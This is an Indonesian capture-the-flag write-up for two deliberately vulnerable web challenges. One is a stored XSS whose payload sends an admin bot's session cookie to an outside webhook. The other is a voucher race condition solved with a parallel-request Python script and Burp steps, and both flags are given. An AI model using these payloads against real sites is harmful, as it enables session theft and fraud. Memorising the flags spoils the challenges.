Overview

LKS internal selection 2026 writeup

September 11, 2026
8 min read
share

titippesan

Challenge Description

so di sini, peserta mendapatkan link suatu website beserta zip source nya, berikut isi dari zip source nya

titippesanunzip l

Analysis

kerentanan nya berada pada file src/views/admin.ejs dan src/views/admin-message.ejs

admin.ejs:

<%- include('partials/header', { user, title: 'Inbox admin' }) %>
<div class="page-head">
<h1>Inbox</h1>
<p><%= unread %> pesan belum dibaca. Klik untuk membaca penuh.</p>
</div>
<% if (messages.length === 0) { %>
<div class="empty">Inbox kosong. Warga belum nitip pesan.</div>
<% } else { %>
<div class="list">
<% messages.forEach(function(m) { %>
<a class="row pesan-link" href="/admin/messages/<%= m.id %>">
<span>
<span class="judul"><%- m.title %></span>
<% if (!m.is_read) { %><span class="badge baru">baru</span><% } %>
<br><span class="sub">dari <strong><%= m.sender %></strong> &middot; #<%= m.id %></span>
</span>
<span class="waktu"><%= m.created_at %></span>
</a>
<% }) %>
</div>
<% } %>
<%- include('partials/footer') %>

admin-message.ejs:

<%- include('partials/header', { user, title: 'Baca pesan' }) %>
<a class="back" href="/admin/messages">&larr; Kembali ke inbox</a>
<div class="pesan">
<div class="pesan-head">
<h2><%- msg.title %></h2>
<div class="pesan-meta">Dari <%= msg.sender %> &middot; <%= msg.created_at %></div>
</div>
<div class="pesan-body"><%- msg.body.replace(/\n/g, '<br>') %></div>
</div>
<%- include('partials/footer') %>

sekilas kedua file di atas terlihat normal, tapi perhatikan tag ejs yang dipakai untuk me-render data user:

  • <%= ... %> → output di-escape (aman dari xss)
  • <%- ... %> → output mentah / tidak di-escape

judul (<%- m.title %>) dan isi pesan (<%- msg.body ... %>) dirender mentah, dan itu titik masuknya

sekarang telusuri dari hulu (input) sampai hilir (bot admin) untuk memastikan alurnya bener bener nyambung

1. input: pesan disimpan tanpa sanitasi (src/routes/messages.js)

router.post('/message', requirelogin, (req, res) => {
const title = string(req.body.title || '').trim();
const body = string(req.body.body || '').trim();
if (title.length < 3 || title.length > 120) {
// ... 400 ...
}
if (body.length < 5 || body.length > 5000) {
// ... 400 ...
}
const info = db.get().prepare(
'insert into messages (user_id, title, body) values (?, ?, ?)'
).run(req.user.id, title, body);
// ...
});

validasi yang ada cuma panjang karakter, tidak ada stripping tag html, tidak ada sanitasi, dan tidak ada encode

html/js apa pun yang dikirim lewat form judul pesan / isi pesan tersimpan lengkap di sqlite

artinya ini stored xss, bukan reflected: payload mengendap di db dan dieksekusi setiap kali halaman admin dibuka

2. output: bukan cuma halaman admin yang rentan

selain dua file admin di atas, halaman user biasa juga me-render mentah:

src/views/messages.ejs

<%- m.title %>

src/views/message-detail.ejs

## <%- msg.title %>
...
<%- msg.body.replace(/\n/g, '<br>') %>

ini berguna untuk attacker: payload bisa dites dulu di sesi sendiri (buka /messages/ milik sendiri, lalu lihat apakah script jalan) sebelum menunggu bot admin.

sementara field yang di-escape seperti <%= msg.sender %> dan <%= m.created_at %> tidak bisa dipakai karna username dibatasi regex ^[a-z0-9_]{3,20}$ saat register, jadi tidak ada celah lewat situ

res.cookie('session', token, {
httponly: false,
samesite: 'lax',
path: '/',
maxage: 7 * 24 * 60 * 60 * 1000
});

token dibuat dari crypto.randombytes(32).tostring('hex') 64 hex char, tidak bisa ditebak, dan sesi disimpan di tabel sessions lalu dicek ulang di db setiap request (src/middleware/auth.js → loadsession).

jadi tidak ada jalan memalsukan session, satu-satunya cara mendapatkan sesi admin adalah mencurinya, dan httponly: false membuat document.cookie bisa dibaca oleh javascript

ini kondisi yang sengaja disiapkan untuk diexploit

tambahan: tidak ada middleware csp/helmet di src/server.js, jadi <script> inline dari pesan ga dibokir browser saat page admin dibuka

4. target: flag hanya untuk admin (/src/routes/admin.js)

router.get('/admin/flag', requireadmin, (req, res) => {
const flag = process.env.flag || 'smkn24{flag_belum_dikonfigurasi_hubungi_panitia}';
res.render('admin-flag', { user: req.user, flag });
});

requireadmin ngereject non-admin (redirect ke /login kalau belum login, 403 kalau sudah login tapi bukan admin)

eksekutor: bot admin (src/bot.js)

const crypto = require('crypto');
const db = require('./db');
let running = false;
function sleep(ms) {
return new Promise((r) => setTimeout(r, ms));
}
async function ensureAdminSession(username) {
const database = db.get();
const admin = database.prepare('SELECT * FROM users WHERE username = ?').get(username);
if (!admin) return null;
const token = crypto.randomBytes(32).toString('hex');
database.prepare('INSERT INTO sessions (token, user_id) VALUES (?, ?)').run(token, admin.id);
return token;
}
async function visitAsAdmin(baseUrl, sessionToken, perMessageWaitMs) {
const { chromium } = require('playwright');
const browser = await chromium.launch({
headless: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage',
'--disable-gpu'
]
});
try {
const context = await browser.newContext();
await context.addCookies([{
name: 'session',
value: sessionToken,
domain: new URL(baseUrl).hostname,
path: '/',
httpOnly: false,
sameSite: 'Lax'
}]);
const page = await context.newPage();
await page.goto(baseUrl + '/admin/messages', { waitUntil: 'domcontentloaded', timeout: 15000 });
await page.waitForTimeout(1500);
let links = [];
try {
links = await page.$$eval('a.pesan-link', (as) => as.map((a) => a.getAttribute('href')));
} catch (e) {
links = [];
}
links = (links || []).filter(Boolean).slice(0, 100);
for (const href of links) {
const url = href.startsWith('http') ? href : baseUrl + href;
try {
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 15000 });
await page.waitForTimeout(perMessageWaitMs);
} catch (e) {
}
}
try {
await page.goto(baseUrl + '/admin/messages', { waitUntil: 'domcontentloaded', timeout: 15000 });
await page.waitForTimeout(1500);
} catch (e) {}
await context.close();
} finally {
await browser.close().catch(() => {});
}
}
async function loginAndGetCookie(baseUrl, username, password) {
const { chromium } = require('playwright');
const browser = await chromium.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu']
});
try {
const context = await browser.newContext();
const page = await context.newPage();
await page.goto(baseUrl + '/login', { waitUntil: 'domcontentloaded', timeout: 15000 });
await page.fill('input[name="username"]', username);
await page.fill('input[name="password"]', password);
await Promise.all([
page.waitForNavigation({ waitUntil: 'domcontentloaded', timeout: 15000 }).catch(() => {}),
page.click('button[type="submit"]')
]);
const cookies = await context.cookies();
const sess = cookies.find((c) => c.name === 'session');
await context.close();
return sess ? sess.value : null;
} finally {
await browser.close().catch(() => {});
}
}
async function startBot({ baseUrl, username, password, intervalMs }) {
if (running) return;
running = true;
const wait = Math.max(8000, intervalMs || 15000);
const perMessageWaitMs = Number(process.env.BOT_PAGE_WAIT_MS || 3500);
console.log(`[bot] start, baseUrl=${baseUrl} interval=${Math.round(wait / 1000)}s`);
for (let i = 0; i < 30; i++) {
try {
const res = await fetch(baseUrl + '/healthz');
if (res.ok) break;
} catch (e) {}
await sleep(1000);
}
let sessionToken = null;
if (password) {
for (let i = 0; i < 3; i++) {
try {
sessionToken = await loginAndGetCookie(baseUrl, username, password);
if (sessionToken) {
console.log('[bot] login via form berhasil.');
break;
}
} catch (e) {
console.log('[bot] login percobaan gagal:', e.message);
}
await sleep(2000);
}
}
if (!sessionToken) {
sessionToken = await ensureAdminSession(username);
if (sessionToken) console.log('[bot] memakai sesi admin internal.');
}
if (!sessionToken) {
console.error('[bot] tidak bisa mendapatkan sesi admin, bot berhenti.');
return;
}
for (;;) {
try {
await visitAsAdmin(baseUrl, sessionToken, perMessageWaitMs);
const row = db.get().prepare('SELECT token FROM sessions WHERE token = ?').get(sessionToken);
if (!row) {
console.log('[bot] sesi hilang, membuat sesi baru.');
if (password) {
const t = await loginAndGetCookie(baseUrl, username, password).catch(() => null);
sessionToken = t || await ensureAdminSession(username);
} else {
sessionToken = await ensureAdminSession(username);
}
}
} catch (e) {
console.log('[bot] putaran gagal:', e.message);
}
await sleep(wait);
}
}
module.exports = { startBot };

bot playwright login sebagai admin, lalu tiap interval(bot_interval, 60 detik):

  1. buka /admin/messages,
  2. kumpulkan semua link a.pesan-link (maks. 100 pesan newest),
  3. buka tiap /admin/messages/:id satu per satu dan nunggu +-3,5 detik (bot_page_wait_ms) biar js sempet jalan,
  4. repeat selama server jalan, tiap pesan otomatis ditandai is_read = 1 oleh route nya

Proof of Concept

1. register akun

register

setelah regis akan langsung diarahin ke dashboard,

dashboard

2. kirim payload via fitur “kirim pesan ke admin”

kirimpesan

karna mau ambil cookie si bot, maka kita buat payload seperti ini:

<script>fetch('<WEBHOOK>'+document.cookie)</script>

titipesanpayload

kirim,

menunggu

dan tunggu (karna bot visit tiap 60 detik)

udahdibaca

cek webhook

webhook

cookie

reload page, nanti akan langsung logged in as admin

admindashboard

tinggal klik flag yang ada di navbar

flag

Flag

SMKN24{jarang_jarang_ni_soal_client_side_web_di_seleksi_sekolah_hehehehe}

takbiran ya balapan

challenge description

so di sini, peserta dikasih link website beserta zip source nya, berikut isi dari zip source nya

takbiranunzip

isinya frontend lengkap sama backend sebagian. yang disembunyiin cuma src/routes/redeem.js sama src/helpers.js, sisanya dikasih semua. jadi buat bagian redeem harus ditemuin sendiri secara blackbox, tapi saat seleksi, gw udah kasih hint yang obvious straight to the point, yaitu race condition

deskripsi soalnya kurang lebih gini:

takbiran ya balapan!
panitia takbiran rt 06 bagi bagi thr voucher.
- daftar langsung dapat 1000 poin.
- ada voucher bocoran: takbiran2026 (+500 poin, sekali pakai).
- kumpulin saldo sampai 5000 poin buat buka amplop thr sultan.
katanya voucher cuma bisa dipakai sekali... tapi bedug kalau dipukul bareng bareng
suaranya jadi dobel. takbiran ya balapan!
http://<host>:3000

analysis

saat dibuka link nya, begini kira kira tampilan website nya: takbiran

terdapat fitur regis dan login, sesudah login kira kira begini tampilan nya:

takbirandasboard

dan setelah login itu, terdapat hanya 1 fitur yang benar benar nyambung ke vuln race condition, yaitu redeem voucher

proof of concept

gw disini ngasih 2 PoC, via automatic script dan manual via burp (sesuai hint yang gw kasih pas seleksi)

python script

import sys
import random
import string
import requests
from concurrent.futures import ThreadPoolExecutor
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
VOUCHER = "TAKBIRAN2026"
WORKERS = 20
def rand_user():
suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
return f"togomigi_{suffix}"
def main():
s = requests.Session()
username = rand_user()
password = "takbir123"
r = s.post(f"{BASE}/api/register", json={"username": username, "password": password}, timeout=10)
print(f"register {username}: {r.status_code} {r.text[:200]}")
if r.status_code != 200:
r = s.post(f"{BASE}/api/login", json={"username": username, "password": password}, timeout=10)
print(f"login fallback: {r.status_code}")
r = s.get(f"{BASE}/api/me", timeout=10)
print(f"saldo awal: {r.text[:200]}")
def redeem_one(i):
try:
resp = s.post(f"{BASE}/api/redeem", json={"code": VOUCHER}, timeout=15)
try:
j = resp.json()
except Exception:
j = resp.text[:200]
print(f" [{i}] {resp.status_code} {j}")
return resp
except Exception as e:
print(f" [{i}] error {e}")
return None
print(f"kirim {WORKERS}x POST /api/redeem secara berbarengan")
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
list(ex.map(redeem_one, range(WORKERS)))
r = s.get(f"{BASE}/api/me", timeout=10)
print(f"saldo akhir: {r.text}")
r = s.get(f"{BASE}/api/flag", timeout=10)
print(f"flag: {r.status_code} {r.text}")
try:
j = r.json()
if j.get("ok") and "flag" in j:
print(f"\n[SUCCESS] {j['flag']}")
return
except Exception:
pass
print("\nBelum dapet flag")
if __name__ == "__main__":
main()

jadi script itu cuma ngeregis dan login random username (biar bisa dipake berkali kali solvernya) dan ngirim request post ke endpoint redeem voucher sebanyak 20 request (dengan code yang voucher yang sama) secara berbarengan (race condition)

output:

scriptflagtakbiran

via burpsuite

regis dan login seperti biasa, trus nyalain proxy pas mau redeem voucher buat nangkep request post nya

catchreqpostredeem

trus send to repeater

repeater

sesuain kode voucher nya dengan TAKBIRAN2026 dan bikin duplicate request nya di repeater sampe total ada 20 request

copy

trus klik kanan pada salah satu tab request, dan klik add tab to group

group

trus pas mau send, klik panah samping kanan button send request nya, trus pilih kirim secara parallel

opsi

dan kirim

dashboardlagi

buka amplop, dan flagtakbiran

flag

SMKN24{takbiran_yh_balapan_togomigi1337}

REV BESOK YH, CAPEKKKKKKKKKKKKK

Related posts